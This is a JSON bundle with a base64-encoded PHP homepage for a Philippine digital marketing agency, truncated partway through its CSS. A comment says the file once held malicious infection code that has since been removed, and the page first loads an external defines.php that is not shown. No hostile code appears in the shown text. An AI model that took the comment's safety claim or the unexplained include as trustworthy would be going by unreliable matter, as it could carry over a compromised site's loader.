{"files":{"index.php":{"content":"PD9waHAgcmVxdWlyZV9vbmNlKF9fRElSX18uJy9kZWZpbmVzLnBocCcpOyA\/Pgo8P3BocCAKLyoqCiogTm90ZTogVGhpcyBmaWxlIG1heSBjb250YWluIGFydGlmYWN0cyBvZiBwcmV2aW91cyBtYWxpY2lvdXMgaW5mZWN0aW9uLgoqIEhvd2V2ZXIsIHRoZSBkYW5nZXJvdXMgY29kZSBoYXMgYmVlbiByZW1vdmVkLCBhbmQgdGhlIGZpbGUgaXMgbm93IHNhZmUgdG8gdXNlLgoqLwo\/PjwhRE9DVFlQRSBodG1sPgo8aHRtbCBsYW5nPSJlbiI+CiAgPGhlYWQ+CiAgICA8bWV0YSBjaGFyc2V0PSJVVEYtOCIgLz4KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIiAvPgogICAgPHRpdGxlPkRpZ2l0YWwgTWFya2V0aW5nIEFnZW5jeSBQaGlsaXBwaW5lcyB8IFByaW1lZm9sZCBNZWRpYTwvdGl0bGU+CiAgICA8bGluayByZWw9Imljb24iIHR5cGU9ImltYWdlL3BuZyIgaHJlZj0iaW1hZ2VzL2Zhdmljb24tOTZ4OTYucG5nIiBzaXplcz0iOTZ4OTYiIC8+CjxsaW5rIHJlbD0iaWNvbiIgdHlwZT0iaW1hZ2Uvc3ZnK3htbCIgaHJlZj0iaW1hZ2VzL2Zhdmljb24uc3ZnIiAvPgo8bGluayByZWw9InNob3J0Y3V0IGljb24iIGhyZWY9ImltYWdlcy9mYXZpY29uLmljbyIgLz4KPGxpbmsgcmVsPSJhcHBsZS10b3VjaC1pY29uIiBzaXplcz0iMTgweDE4MCIgaHJlZj0iaW1hZ2VzL2FwcGxlLXRvdWNoLWljb24ucG5nIiAvPgo8bGluayByZWw9Im1hbmlmZXN0IiBocmVmPSJpbWFnZXMvc2l0ZS53ZWJtYW5pZmVzdCIgLz4KICAgIDxtZXRhCiAgICAgIG5hbWU9ImRlc2NyaXB0aW9uIgogICAgICBjb250ZW50PSJSZXN1bHRzLWRyaXZlbiBQaGlsaXBwaW5lcyBkaWdpdGFsIG1hcmtldGluZyBhZ2VuY3kgZm9yIFNFTywgQUVPL0dFTywgUFBDLCBjb250ZW50LCBzb2NpYWwsIENSTywgYW5kIHdlYiBkZXYsIGJ1aWx0IHRvIHdpbiBvbiBHb29nbGUgYW5kIEFJIHNlYXJjaC4iCiAgICAvPgogICAgPGxpbmsgcmVsPSJjYW5vbmljYWwiIGhyZWY9Imh0dHBzOi8vcHJpbWVmb2xkbWVkaWEuY29tLyIgLz4KICAgIDxtZXRhIHByb3BlcnR5PSJvZzp0aXRsZSIgY29udGVudD0iRGlnaXRhbCBNYXJrZXRpbmcgQWdlbmN5IFBoaWxpcHBpbmVzIHwgUHJpbWVmb2xkIE1lZGlhIiAvPgogICAgPG1ldGEKICAgICAgcHJvcGVydHk9Im9nOmRlc2NyaXB0aW9uIgogICAgICBjb250ZW50PSJSZXN1bHRzLWRyaXZlbiBQaGlsaXBwaW5lcyBkaWdpdGFsIG1hcmtldGluZyBhZ2VuY3kgZm9yIFNFTywgQUVPL0dFTywgUFBDLCBjb250ZW50LCBzb2NpYWwsIENSTywgYW5kIHdlYiBkZXYsIGJ1aWx0IHRvIHdpbiBvbiBHb29nbGUgYW5kIEFJIHNlYXJjaC4iCiAgICAvPgogICAgPG1ldGEgcHJvcGVydHk9Im9nOmltYWdlIiBjb250ZW50PSJodHRwczovL3ByaW1lZm9sZG1lZGlhLmNvbS9vZy1pbWFnZS5qcGciIC8+CiAgICA8bWV0YSBwcm9wZXJ0eT0ib2c6dXJsIiBjb250ZW50PSJodHRwczovL3ByaW1lZm9sZG1lZGlhLmNvbS8iIC8+CiAgICA8bWV0YSBwcm9wZXJ0eT0ib2c6dHlwZSIgY29udGVudD0id2Vic2l0ZSIgLz4KICAgIDxtZXRhIHByb3BlcnR5PSJvZzpzaXRlX25hbWUiIGNvbnRlbnQ9IlByaW1lZm9sZCBNZWRpYSIgLz4KICAgIDwhLS0gVHdpdHRlciAoWCkgY2FyZCBmb3IgYmV0dGVyIGNvbXBhdGliaWxpdHkgLS0+CiAgICA8bWV0YSBuYW1lPSJ0d2l0dGVyOmNhcmQiIGNvbnRlbnQ9InN1bW1hcnlfbGFyZ2VfaW1hZ2UiIC8+CiAgICA8bWV0YSBuYW1lPSJ0d2l0dGVyOmltYWdlIiBjb250ZW50PSJodHRwczovL3ByaW1lZm9sZG1lZGlhLmNvbS9vZy1pbWFnZS5qcGciIC8+CiAgICA8bWV0YSBuYW1lPSJ0d2l0dGVyOnRpdGxlIiBjb250ZW50PSJEaWdpdGFsIE1hcmtldGluZyBBZ2VuY3kgUGhpbGlwcGluZXMgfCBQcmltZWZvbGQgTWVkaWEg4oCUIFNFTywgUFBDICYgTW9yZSIgLz4KICAgIDxtZXRhIG5hbWU9InR3aXR0ZXI6ZGVzY3JpcHRpb24iIGNvbnRlbnQ9IlJlc3VsdHMtZHJpdmVuIFBoaWxpcHBpbmVzIGRpZ2l0YWwgbWFya2V0aW5nIGFnZW5jeSBmb3IgU0VPLCBBRU8vR0VPLCBQUEMsIGNvbnRlbnQsIHNvY2lhbCwgQ1JPLCBhbmQgd2ViIGRldiwgYnVpbHQgdG8gd2luIG9uIEdvb2dsZSBhbmQgQUkgc2VhcmNoLiIgLz4KICAgCiAgIAogICAgPGxpbmsgcmVsPSJwcmVjb25uZWN0IiBocmVmPSJodHRwczovL2ZvbnRzLmdvb2dsZWFwaXMuY29tIiAvPgogICAgPGxpbmsgcmVsPSJwcmVjb25uZWN0IiBocmVmPSJodHRwczovL2ZvbnRzLmdzdGF0aWMuY29tIiBjcm9zc29yaWdpbiAvPgogICAgPGxpbmsKICAgICAgcmVsPSJwcmVsb2FkIgogICAgICBhcz0ic3R5bGUiCiAgICAgIGhyZWY9Imh0dHBzOi8vZm9udHMuZ29vZ2xlYXBpcy5jb20vY3NzMj9mYW1pbHk9U3BhY2UrR3JvdGVzazp3Z2h0QDQwMDs1MDA7NjAwOzcwMDs4MDAmZmFtaWx5PUludGVyOndnaHRAMzAwOzQwMDs1MDA7NjAwJmRpc3BsYXk9c3dhcCIKICAgIC8+CiAgICA8bGluawogICAgICBocmVmPSJodHRwczovL2ZvbnRzLmdvb2dsZWFwaXMuY29tL2NzczI\/ZmFtaWx5PVNwYWNlK0dyb3Rlc2s6d2dodEA0MDA7NTAwOzYwMDs3MDA7ODAwJmZhbWlseT1JbnRlcjp3Z2h0QDMwMDs0MDA7NTAwOzYwMCZkaXNwbGF5PXN3YXAiCiAgICAgIHJlbD0ic3R5bGVzaGVldCIKICAgICAgbWVkaWE9InByaW50IgogICAgICBvbmxvYWQ9InRoaXMubWVkaWE9J2FsbCciCiAgICAvPgogICAgPHN0eWxlPgogICAgICAqLCAqOjpiZWZvcmUsICo6OmFmdGVyIHsgYm94LXNpemluZzogYm9yZGVyLWJveDsgbWFyZ2luOiAwOyBwYWRkaW5nOiAwOyB9CiAgICAgIDpyb290IHsKICAgICAgICAtLWJnOiAjRjhGQUZDOyAtLWZnOiAjMEYxNzJBOyAtLWNhcmQ6ICNGRkZGRkY7IC0tYm9yZGVyOiAjRTJFOEYwOwogICAgICAgIC0tcHJpbWFyeTogIzNCODJGNjsgLS1wcmltYXJ5LWZnOiAjRkZGRkZGOyAtLW11dGVkOiAjNjQ3NDhCOwogICAgICAgIC0tbmF2eTogIzBGMTcyQTsgLS1uYXZ5LWZnOiAjRkZGRkZGOyAtLXJhZGl1czogMTJweDsKICAgICAgICAtLXNlY29uZGFyeS1iZzogcmdiYSgyNDEsMjQ1LDI0OSwwLjUpOwogICAgICB9CiAgICAgIGh0bWwgeyBzY3JvbGwtYmVoYXZpb3I6IHNtb290aDsgfQogICAgICBib2R5IHsgZm9udC1mYW1pbHk6ICdJbnRlcicsIHNhbnMtc2VyaWY7IGNvbG9yOiB2YXIoLS1mZyk7IGJhY2tncm91bmQ6IHZhcigtLWJnKTsgbGluZS1oZWlnaHQ6IDEuNjsgb3ZlcmZsb3cteDogaGlkZGVuOyB9CiAgICAgIGgxLCBoMiwgaDMsIGg0IHsgZm9udC1mYW1pbHk6ICdTcGFjZSBHcm90ZXNrJywgc2Fucy1zZXJpZjsgfQogICAgICAuY29udGFpbmVyIHsgbWF4LXdpZHRoOiAxMjAwcHg7IG1hcmdpbjogMCBhdXRvOyBwYWRkaW5nOiAwIDJyZW07IH0KICAgICAgYSB7IHRleHQtZGVjb3JhdGlvbjogbm9uZTsgY29sb3I6IGluaGVyaXQ7IH0KICAgICAgaW1nIHsgbWF4LXdpZHRoOiAxMDAlOyB9CgogICAgICAvKiDilZDilZDilZAgTkFWIOKVkOKVkOKVkCAqLwogICAgICBuYXYgeyBwb3NpdGlvbjogZml4ZWQ7IHRvcDogMDsgbGVmdDogMDsgcmlnaHQ6IDA7IHotaW5kZXg6IDUwOyBoZWlnaHQ6IDY0cHg7IGRpc3BsYXk6IGZsZXg7IGFsaWduLWl0ZW1zOiBjZW50ZXI7IGJhY2tkcm9wLWZpbHRlcjogYmx1cigxNnB4KTsgLXdlYmtpdC1iYWNrZHJvcC1maWx0ZXI6IGJsdXIoMTZweCk7IGJhY2tncm91bmQ6IHJnYmEoMjQ4LDI1MCwyNTIsMC44KTsgYm9yZGVyLWJvdHRvbTogMXB4IHNvbGlkIHZhcigtLWJvcmRlcik7IH0KICAgICAgbmF2IC5jb250YWluZXIgeyBkaXNwbGF5OiBmbGV4OyBhbGlnbi1pdGVtczogY2VudGVyOyBqdXN0aWZ5LWNvbnRlbnQ6IHNwYWNlLWJldHdlZW47IHdpZHRoOiAxMDAlOyB9CiAgICAgIC5sb2dvIHsgZm9udC1mYW1pbHk6ICdTcGFjZSBHcm90ZXNrJywgc2Fucy1zZXJpZjsgZm9udC1zaXplOiAxLjI1cmVtOyBmb250LXdlaWdodDogNzAwOyB9CiAgICAgIC5sb2dvIHNwYW4geyBjb2xvcjogdmFyKC0tcHJpbWFyeSk7IH0KICAgICAgLm5hdi1saW5rcyB7IGRpc3BsYXk6IGZsZXg7IGFsaWduLWl0ZW1zOiBjZW50ZXI7IGdhcDogMnJlbTsgfQogICAgICAubmF2LWxpbmtzIGEgeyBmb250LXNpemU6IDAuODc1cmVtOyBmb250LXdlaWdodDogNTAwOyBjb2xvcjogdmFyKC0tbXV0ZWQpOyB0cmFuc2l0aW9uOiBjb2xvciAwLjJzOyB9CiAgICAgIC5uYXYtbGlua3MgYTpob3ZlciB7IGNvbG9yOiB2YXIoLS1mZyk7IH0KICAgICAgLm5hdi1saW5rcyBhLmJ0bi1wcmltYXJ5IHsgY29sb3I6IHZhcigtLXByaW1hcnktZmcpOyB9CiAgICAgIC5uYXYtbGlua3MgYS5idG4tcHJpbWFyeTpob3ZlciB7IGNvbG9yOiB2YXIoLS1wcmltYXJ5LWZnKTsgfQogICAgICAuYnRuLXByaW1hcnkgeyBkaXNwbGF5OiBpbmxpbmUtZmxleDsgYWxpZ24taXRlbXM6IGNlbnRlcjsgZ2FwOiAwLjVyZW07IGJhY2tncm91bmQ6IHZhcigtLXByaW1hcnkpOyBjb2xvcjogdmFyKC0tcHJpbWFyeS1mZyk7IHBhZGRpbmc6IDAuNnJlbSAxLjVyZW07IGJvcmRlci1yYWRpdXM6IDhweDsgZm9udC1zaXplOiAwLjg3NXJlbTsgZm9udC13ZWlnaHQ6IDUwMDsgdHJhbnNpdGlvbjogYWxsIDAuM3M7IGJvcmRlcjogbm9uZTsgY3Vyc29yOiBwb2ludGVyOyBmb250LWZhbWlseTogJ0ludGVyJywgc2Fucy1zZXJpZjsgYm94LXNoYWRvdzogMCA0cHggMjBweCByZ2JhKDU5LDEzMCwyNDYsMC4zKTsgfQogICAgICAuYnRuLXByaW1hcnk6aG92ZXIgeyBvcGFjaXR5OiAwLjk7IHRyYW5zZm9ybTogdHJhbnNsYXRlWSgtMXB4KTsgfQogICAgICAuaGFtYnVyZ2VyIHsgZGlzcGxheTogbm9uZTsgYmFja2dyb3VuZDogbm9uZTsgYm9yZGVyOiBub25lOyBjdXJzb3I6IHBvaW50ZXI7IHBhZGRpbmc6IDAuNXJlbTsgfQogICAgICAuaGFtYnVyZ2VyIHNwYW4geyBkaXNwbGF5OiBibG9jazsgd2lkdGg6IDIycHg7IGhlaWdodDogMnB4OyBiYWNrZ3JvdW5kOiB2YXIoLS1mZyk7IG1hcmdpbjogNXB4IDA7IHRyYW5zaXRpb246IGFsbCAwLjNzOyB9CiAgICAgIC5oYW1idXJnZXIuYWN0aXZlIHNwYW46bnRoLWNoaWxkKDEpIHsgdHJhbnNmb3JtOiByb3RhdGUoNDVkZWcpIHRyYW5zbGF0ZSg1cHgsIDVweCk7IH0KICAgICAgLmhhbWJ1cmdlci5hY3RpdmUgc3BhbjpudGgtY2hpbGQoMikgeyBvcGFjaXR5OiAwOyB9CiAgICAgIC5oYW1idXJnZXIuYWN0aXZlIHNwYW46bnRoLWNoaWxkKDMpIHsgdHJhbnNmb3JtOiByb3RhdGUoLTQ1ZGVnKSB0cmFuc2xhdGUoNXB4LCAtNXB4KTsgfQogICAgICAubW9iaWxlLW1lbnUgeyBkaXNwbGF5OiBub25lOyBwb3NpdGlvbjogZml4ZWQ7IHRvcDogNjRweDsgbGVmdDogMDsgcmlnaHQ6IDA7IGJhY2tncm91bmQ6IHJnYmEoMjU1LDI1NSwyNTUsMC45NSk7IGJhY2tkcm9wLWZpbHRlcjogYmx1cigyMHB4KTsgLXdlYmtpdC1iYWNrZHJvcC1maWx0ZXI6IGJsdXIoMjBweCk7IGJvcmRlci1ib3R0b206IDFweCBzb2xpZCB2YXIoLS1ib3JkZXIpOyB6LWluZGV4OiA0OTsgYm94LXNoYWRvdzogMCA4cHggMzJweCByZ2JhKDAsMCwwLDAuMTIpOyB9CiAgICAgIC5tb2JpbGUtbWVudS5hY3RpdmUgeyBkaXNwbGF5OiBibG9jazsgfQogICAgICAubW9iaWxlLW1lbnUgLm1vYmlsZS1pbm5lciB7IHBhZGRpbmc6IDEuNXJlbTsgZGlzcGxheTogZmxleDsgZmxleC1kaXJlY3Rpb246IGNvbHVtbjsgZ2FwOiAwLjEyNXJlbTsgfQogICAgICAubW9iaWxlLW1lbnUgLm1vYmlsZS1pbm5lciA+IGEsIC5tb2JpbGUtbWVudSAubW9iaWxlLXNlcnZpY2VzLWJ0biB7IGZvbnQtc2l6ZTogMC44NzVyZW07IGZvbnQtd2VpZ2h0OiA1MDA7IGNvbG9yOiB2YXIoLS1mZyk7IHBhZGRpbmc6IDAuNzVyZW0gMXJlbTsgYm9yZGVyLXJhZGl1czogOHB4OyB0cmFuc2l0aW9uOiBhbGwgMC4yczsgZGlzcGxheTogYmxvY2s7IH0KICAgICAgLm1vYmlsZS1tZW51IC5tb2JpbGUtaW5uZXIgPiBhOmhvdmVyLCAubW9iaWxlLW1lbnUgLm1vYmlsZS1zZXJ2aWNlcy1idG46aG92ZXIgeyBiYWNrZ3JvdW5kOiByZ2JhKDU5LDEzMCwyNDYsMC4xKTsgY29sb3I6IHZhcigtLXByaW1hcnkpOyB9CiAgICAgIC5tb2JpbGUtbWVudSAubW9iaWxlLXNlcnZpY2VzLWJ0biB7IGRpc3BsYXk6IGZsZXg7IGFsaWduLWl0ZW1zOiBjZW50ZXI7IGp1c3RpZnktY29udGVudDogc3BhY2UtYmV0d2Vlbjsgd2lkdGg6IDEwMCU7IGJhY2tncm91bmQ6IG5vbmU7IGJvcmRlcjogbm9uZTsgY3Vyc29yOiBwb2ludGVyOyBmb250LWZhbWlseTogJ0ludGVyJywgc2Fucy1zZXJpZjsgfQogICAgICAubmF2LWRyb3Bkb3duIHsgcG9zaXRpb246IHJlbGF0aXZlOyB9CiAgICAgIC5uYXYtZHJvcGRvd24gPiBidXR0b24geyBmb250LXNpemU6IDAuODc1cmVtOyBmb250LXdlaWdodDogNTAwOyBjb2xvcjogdmFyKC0tbXV0ZWQpOyB0cmFuc2l0aW9uOiBjb2xvciAwLjJzOyBiYWNrZ3JvdW5kOiBub25lOyBib3JkZXI6IG5vbmU7IGN1cnNvcjogcG9pbnRlcjsgZm9udC1mYW1pbHk6ICdJbnRlcicsIHNhbnMtc2VyaWY7IGRpc3BsYXk6IGlubGluZS1mbGV4OyBhbGlnbi1pdGVtczogY2VudGVyOyBnYXA6IDAuMjVyZW07IH0KICAgICAgLm5hdi1kcm9wZG93biA+IGJ1dHRvbjpob3ZlciB7IGNvbG9yOiB2YXIoLS1mZyk7IH0KICAgICAgLm5hdi1kcm9wZG93biAuZHJvcGRvd24tbWVudSB7IGRpc3BsYXk6IG5vbmU7IHBvc2l0aW9uOiBhYnNvbHV0ZTsgdG9wOiAxMDAlOyBsZWZ0OiAwOyBtYXJnaW4tdG9wOiAwLjVyZW07IHdpZHRoOiAxNnJlbTsgYmFja2dyb3VuZDogdmFyKC0tY2FyZCk7IGJvcmRlcjogMXB4IHNvbGlkIHZhcigtLWJvcmRlcik7IGJvcmRlci1yYWRpdXM6IHZhcigtLXJhZGl1cyk7IGJveC1zaGFkb3c6IDAgOHB4IDI0cHggcmdiYSgwLDAsMCwwLjEpOyBwYWRkaW5nOiAwLjVyZW0gMDsgei1pbmRleDogNTE7IH0KICAgICAgLm5hdi1kcm9wZG93biAuZHJvcGRvd24tbWVudSBhIHsgZGlzcGxheTogYmxvY2s7IHBhZGRpbmc6IDAuNjI1cmVtIDFyZW07IH0KICAgICAgLm5hdi1kcm9wZG93biAuZHJvcGRvd24tbWVudSBhOmhvdmVyIHsgYmFja2dyb3VuZDogdmFyKC0tYmcpOyB9CiAgICAgIC5uYXYtZHJvcGRvd24ub3BlbiAuZHJvcGRvd24tbWVudSB7IGRpc3BsYXk6IGJsb2NrOyB9CiAgICAgIC5tb2JpbGUtc2VydmljZXMgeyBtYXJnaW4tbGVmdDogMC41cmVtOyBkaXNwbGF5OiBub25lOyBmbGV4LWRpcmVjdGlvbjogY29sdW1uOyBnYXA6IDA7IGJvcmRlci1sZWZ0OiAycHggc29saWQgcmdiYSg1OSwxMzAsMjQ2LDAuMik7IHBhZGRpbmctbGVmdDogMXJlbTsgbWFyZ2luLXRvcDogMC4yNXJlbTsgbWFyZ2luLWJvdHRvbTogMC4yNXJlbTsgfQogICAgICAubW9iaWxlLXNlcnZpY2VzLmFjdGl2ZSB7IGRpc3BsYXk6IGZsZXg7IH0KICAgICAgLm1vYmlsZS1zZXJ2aWNlcyBhIHsgZm9udC1zaXplOiAwLjg3NXJlbTsgY29sb3I6IHZhcigtLW11dGVkKTsgcGFkZGluZzogMC42MjVyZW0gMC43NXJlbTsgYm9yZGVyLXJhZGl1czogNnB4OyB0cmFuc2l0aW9uOiBhbGwgMC4yczsgZGlzcGxheTogYmxvY2s7IH0KICAgICAgLm1vYmlsZS1zZXJ2aWNlcyBhOmhvdmVyIHsgY29sb3I6IHZhcigtLXByaW1hcnkpOyBiYWNrZ3JvdW5kOiByZ2JhKDU5LDEzMCwyNDYsMC4wNSk7IH0KICAgICAgLm1vYmlsZS1jdGEtd3JhcCB7IG1hcmdpbi10b3A6IDAuNXJlbTsgcGFkZGluZy10b3A6IDAuNzVyZW07IGJvcmRlci10b3A6IDFweCBzb2xpZCB2YXIoLS1ib3JkZXIpOyB9CiAgICAgIC5tb2JpbGUtbWVudSAubW9iaWxlLWN0YS13cmFwIGEuYnRuLXByaW1hcnkgeyBjb2xvcjogdmFyKC0tcHJpbWFyeS1mZyk7IHRleHQtYWxpZ246IGNlbnRlcjsgd2lkdGg6IDEwMCU7IGp1c3RpZnktY29udGVudDogY2VudGVyOyBib3gtc2hhZG93OiAwIDRweCAxMnB4IHJnYmEoNTksMTMwLDI0NiwwLjI1KTsgZm9udC13ZWlnaHQ6IDYwMDsgfQogICAgICBAbWVkaWEgKG1heC13aWR0aDogNzY4cHgpIHsgLm5hdi1saW5rcyB7IGRpc3BsYXk6IG5vbmU7IH0gLmhhbWJ1cmdlciB7IGRpc3BsYXk6IGJsb2NrOyB9IH0KCiAgICAgIC8qIOKVkOKVkOKVkCBIRVJPIOKAlCBmdWxsIHZpZXdwb3J0IGFzeW1tZXRyaWMg4pWQ4pWQ4pWQICovCiAgICAgIC5oZXJvIHsgcG9zaXRpb246IHJlbGF0aXZlOyBtaW4taGVpZ2h0OiAxMDB2aDsgZGlzcGxheTogZmxleDsgYWxpZ24taXRlbXM6IGNlbnRlcjsgb3ZlcmZsb3c6IGhpZGRlbjsgfQogICAgICAuaGVyby1iZyB7IHBvc2l0aW9uOiBhYnNvbHV0ZTsgaW5zZXQ6IDA7IH0KICAgICAgLmhlcm8tYmcgaW1nIHsgd2lkdGg6IDEwMCU7IGhlaWdodDogMTIwJTsgb2JqZWN0LWZpdDogY292ZXI7IH0KICAgICAgLmhlcm8tYmcgLm92ZXJsYXkgeyBwb3NpdGlvbjogYWJzb2x1dGU7IGluc2V0OiAwOyBiYWNrZ3JvdW5kOiBsaW5lYXItZ3JhZGllbnQodG8gcmlnaHQsIHJnYmEoMTUsMjMsNDIsMSkgMCUsIHJnYmEoMTUsMjMsNDIsMC45MikgNDAlLCByZ2JhKDE1LDIzLDQyLDAuNikgMTAwJSk7IH0KICAgICAgLmhlcm8tYmcgLm9yYiB7IHBvc2l0aW9uOiBhYnNvbHV0ZTsgYm9yZGVyLXJhZGl1czogNTAlOyBmaWx0ZXI6IGJsdXIoMTIwcHgpOyBvcGFjaXR5OiAwLjI7IH0KICAgICAgLmhlcm8tYmcgLm9yYi0xIHsgdG9wOiA4MHB4OyByaWdodDogMTAlOyB3aWR0aDogNTAwcHg7IGhlaWdodDogNTAwcHg7IGJhY2tncm91bmQ6IHZhcigtLXByaW1hcnkpOyB9CiAgICAgIC5oZXJvLWJnIC5vcmItMiB7IGJvdHRvbTogNDBweDsgbGVmdDogNSU7IHdpZHRoOiA0MDBweDsgaGVpZ2h0OiA0MDBweDsgYmFja2dyb3VuZDogaHNsKDI2MCA3MCUgNjAlKTsgb3BhY2l0eTogMC4xNTsgfQogICAgICAuaGVybyAuY29udGFpbmVyIHsgcG9zaXRpb246IHJlbGF0aXZlOyB6LWluZGV4OiAxOyBkaXNwbGF5OiBncmlkOyBncmlkLXRlbXBsYXRlLWNvbHVtbnM6IDEuMmZyIDFmcjsgZ2FwOiAzcmVtOyBhbGlnbi1pdGVtczogY2VudGVyOyBwYWRkaW5nLXRvcDogNnJlbTsgcGFkZGluZy1ib3R0b206IDVyZW07IH0KICAgICAgLmhlcm8tYmFkZ2UgeyBkaXNwbGF5OiBpbmxpbmUtZmxleDsgYWxpZ24taXRlbXM6IGNlbnRlcjsgZ2FwOiAwLjVyZW07IGJvcmRlci1yYWRpdXM6IDUwcHg7IGJvcmRlcjogMXB4IHNvbGlkIHJnYmEoNTksMTMwLDI0NiwwLjMpOyBiYWNrZ3JvdW5kOiByZ2JhKDU5LDEzMCwyNDYsMC4xKTsgcGFkZGluZzogMC4zNzVyZW0gMXJlbTsgZm9udC1zaXplOiAwLjc1cmVtOyBmb250LXdlaWdodDogNjAwOyB0ZXh0LXRyYW5zZm9ybTogdXBwZXJjYXNlOyBsZXR0ZXItc3BhY2luZzogMC4xZW07IGNvbG9yOiB2YXIoLS1wcmltYXJ5KTsgbWFyZ2luLWJvdHRvbTogMS41cmVtOyBiYWNrZHJvcC1maWx0ZXI6IGJsdXIoOHB4KTsgfQogICAgICAuaGVybyBoMSB7IGZvbnQtc2l6ZTogY2xhbXAoMi41cmVtLCA1LjV2dywgNC41cmVtKTsgZm9udC13ZWlnaHQ6IDcwMDsgbGluZS1oZWlnaHQ6IDEuMDg7IGxldHRlci1zcGFjaW5nOiAtMC4wMmVtOyBjb2xvcjogdmFyKC0tbmF2eS1mZyk7IH0KICAgICAgLmhlcm8gaDEgLnVuZGVybGluZS13b3JkIHsgcG9zaXRpb246IHJlbGF0aXZlOyBkaXNwbGF5OiBpbmxpbmUtYmxvY2s7IH0KICAgICAgLmhlcm8gaDEgLnVuZGVybGluZS13b3JkOjphZnRlciB7IGNvbnRlbnQ6ICcnOyBwb3NpdGlvbjogYWJzb2x1dGU7IGJvdHRvbTogLTRweDsgbGVmdDogMDsgd2lkdGg6IDEwMCU7IGhlaWdodDogNnB4OyBiYWNrZ3JvdW5kOiB2YXIoLS1wcmltYXJ5KTsgYm9yZGVyLXJhZGl1czogNHB4OyB9CiAgICAgIC5oZXJvIGgxIC5ncmFkaWVudC10ZXh0IHsgYmFja2dyb3VuZDogbGluZWFyLWdyYWRpZW50KHRvIHJpZ2h0LCB2YXIoLS1wcmltYXJ5KSwgaHNsKDI2MCA3MCUgNjUlKSk7IC13ZWJraXQtYmFja2dyb3VuZC1jbGlwOiB0ZXh0OyAtd2Via2l0LXRleHQtZmlsbC1jb2xvcjogdHJhbnNwYXJlbnQ7IGJhY2tncm91bmQtY2xpcDogdGV4dDsgfQogICAgICAuaGVyby1kZXNjIHsgbWFyZ2luLXRvcDogMS41cmVtOyBmb250LXNpemU6IDEuMTI1cmVtOyBjb2xvcjogcmdiYSgyNTUsMjU1LDI1NSwwLjY1KTsgbWF4LXdpZHRoOiA1MDBweDsgbGluZS1oZWlnaHQ6IDEuNzsgfQogICAgICAuaGVyby1idXR0b25zIHsgbWFyZ2luLXRvcDogMnJlbTsgZGlzcGxheTogZmxleDsgZmxleC13cmFwOiB3cmFwOyBnYXA6IDFyZW07IH0KICAgICAgLmhlcm8tYnV0dG9ucyAuYnRuLWhlcm8geyBkaXNwbGF5OiBpbmxpbmUtZmxleDsgYWxpZ24taXRlbXM6IGNlbnRlcjsgZ2FwOiAwLjVyZW07IHBhZGRpbmc6IDFyZW0gMnJlbTsgYm9yZGVyLXJhZGl1czogOHB4OyBmb250LXNpemU6IDAuODc1cmVtOyBmb250LXdlaWdodDogNjAwOyB0cmFuc2l0aW9uOiBhbGwgMC4zczsgZm9udC1mYW1pbHk6ICdJbnRlcicsIHNhbnMtc2VyaWY7IH0KICAgICAgLmhlcm8tYnV0dG9ucyAuYnRuLWhlcm8tcHJpbWFyeSB7IGJhY2tncm91bmQ6IHZhcigtLXByaW1hcnkpOyBjb2xvcjogdmFyKC0tcHJpbWFyeS1mZyk7IGJveC1zaGFkb3c6IDAgNHB4IDIwcHggcmdiYSg1OSwxMzAsMjQ2LDAuNCk7IGJvcmRlcjogbm9uZTsgY3Vyc29yOiBwb2ludGVyOyB9CiAgICAgIC5oZXJvLWJ1dHRvbnMgLmJ0bi1oZXJvLXByaW1hcnk6aG92ZXIgeyBib3gtc2hhZG93OiAwIDhweCA0MHB4IHJnYmEoNTksMTMwLDI0NiwwLjUpOyB0cmFuc2Zvcm06IHRyYW5zbGF0ZVkoLTJweCk7IH0KICAgICAgLmhlcm8tYnV0dG9ucyAuYnRuLWhlcm8tc2Vjb25kYXJ5IHsgYmFja2dyb3VuZDogdHJhbnNwYXJlbnQ7IGNvbG9yOiB2YXIoLS1uYXZ5LWZnKTsgYm9yZGVyOiAxcHggc29saWQgcmdiYSgyNTUsMjU1LDI1NSwwLjIpOyBjdXJzb3I6IHBvaW50ZXI7IH0KICAgICAgLmhlcm8tYnV0dG9ucyAuYnRuLWhlcm8tc2Vjb25kYXJ5OmhvdmVyIHsgYmFja2dyb3VuZDogcmdiYSgyNTUsMjU1LDI1NSwwLjEpOyB9CiAgICAgIC5oZXJvLXN0YXRzLWdyaWQgeyBkaXNwbGF5OiBncmlkOyBncmlkLXRlbXBsYXRlLWNvbHVtbnM6IDFmciAxZnI7IGdhcDogMXJlbTsgfQogICAgICAuaGVyby1zdGF0LWNhcmQgeyBiYWNrZ3JvdW5kOiByZ2JhKDI1NSwyNTUsMjU1LDAuMDUpOyBiYWNrZHJvcC1maWx0ZXI6IGJsdXIoMTZweCk7IGJvcmRlcjogMXB4IHNvbGlkIHJnYmEoMjU1LDI1NSwyNTUsMC4xKTsgYm9yZGVyLXJhZGl1czogMTZweDsgcGFkZGluZzogMS41cmVtOyB0cmFuc2l0aW9uOiBhbGwgMC4zczsgfQogICAgICAuaGVyby1zdGF0LWNhcmQ6aG92ZXIgeyBiYWNrZ3JvdW5kOiByZ2JhKDI1NSwyNTUsMjU1LDAuMSk7IHRyYW5zZm9ybTogdHJhbnNsYXRlWSgtNHB4KTsgfQogICAgICAuaGVyby1zdGF0LWNhcmQgLnN0YXQtaWNvbiB7IGZvbnQtc2l6ZTogMS41cmVtOyBtYXJnaW4tYm90dG9tOiAwLjc1cmVtOyBvcGFjaXR5OiAwLjc7IGNvbG9yOiB2YXIoLS1wcmltYXJ5KTsgfQogICAgICAuaGVyby1zdGF0LWNhcmQgLnN0YXQtdmFsdWUgeyBmb250LWZhbWlseTogJ1NwYWNlIEdyb3Rlc2snLCBzYW5zLXNlcmlmOyBmb250LXNpemU6IDFyZW07IGZvbnQtd2VpZ2h0OiA3MDA7IGNvbG9yOiB2YXIoLS1uYXZ5LWZnKTsgfQogICAgICAuaGVyby1zdGF0LWNhcmQgLnN0YXQtbGFiZWwgeyBmb250LXNpemU6IDAuODc1cmVtOyBjb2xvcjogcmdiYSgyNTUsMjU1LDI1NSwwLjUpOyBtYXJnaW4tdG9wOiAwLjI1cmVtOyB9CiAgICAgIC5zY3JvbGwtaW5kaWNhdG9yIHsgcG9zaXRpb246IGFic29sdXRlOyBib3R0b206IDJyZW07IGxlZnQ6IDUwJTsgdHJhbnNmb3JtOiB0cmFuc2xhdGVYKC01MCUpOyB6LWluZGV4OiAxMDsgfQogICAgICAuc2Nyb2xsLWluZGljYXRvciAucGlsbCB7IHdpZHRoOiAyNHB4OyBoZWlnaHQ6IDQwcHg7IGJvcmRlcjogMnB4I